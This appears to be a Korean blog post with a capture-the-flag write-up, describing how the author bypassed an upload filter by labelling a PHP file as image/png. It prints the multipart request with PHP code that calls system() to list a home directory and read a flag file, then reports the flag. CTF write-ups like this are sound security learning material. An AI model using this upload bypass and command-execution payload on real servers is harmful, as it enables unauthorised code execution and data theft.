sweetchip's blog


문제 파일은 url 과 so 파일이었다.


so 파일은 업로드 할때 해킹방지 보안 솔루션같은 필터였고 url은 미디어를 올리는 업로드 사이트였다.


url로 들어가보면 php 소스가 있고 그 소스를 확인해보면 경로 http://ip/uploads/md5(ip)/ 에 업로드가 되는 방식이었다.


하지만 이곳에 간단한 파일 업로드 취약점이 존재한다.


처음엔 php 파일을 그대로 올리려고 했지만 자꾸 해킹하지 마세요가 뜨길래


아래와 같이 헤더를 변조 시켰다.



content-type 부분을 이미지로 바꾸고 파일이름은 php로 지정하고 아래와 같이 post로 날렸다.


-----------------------------8546194317856

Content-Disposition: form-data; name="data"; filename="subtle_white_feathers.php"

Content-Type: image/png


system("dir ../../../../home/dwh300/");

?>


system("cat ../../../../home/dwh300/flags");

?>

-----------------------------8546194317856--

(위 코드는 몇번 디렉터리를 뒤지고 난 다음에 완성된 코드이다.)


png로 변조시켜 마치 png 파일을 업로드 하는것 같지만 안타깝게도 실제로는 php를 업로드하여 서버는 곧 햌킹을 당할것이다.


업로드에 성공하고 php에 접근했다.


/home/dwh300/ 에 flag 파일이 존재했고 그 파일을 cat 으로 열어보니 아래와 같이 나왔다.


2번째줄 끝으로 가보면 key 가 있다.


Flag : !!xx_^s0m3th1ng wr0ng^_yy!!


다른분은 php를 그냥 업로드 했다는데 왜 안됬을까 고민햇지만 어쩃든 풀렸으니 됫다.

신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Secuinside 2013 Secure web write-up  (0) 2013.05.29
webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29

댓글 0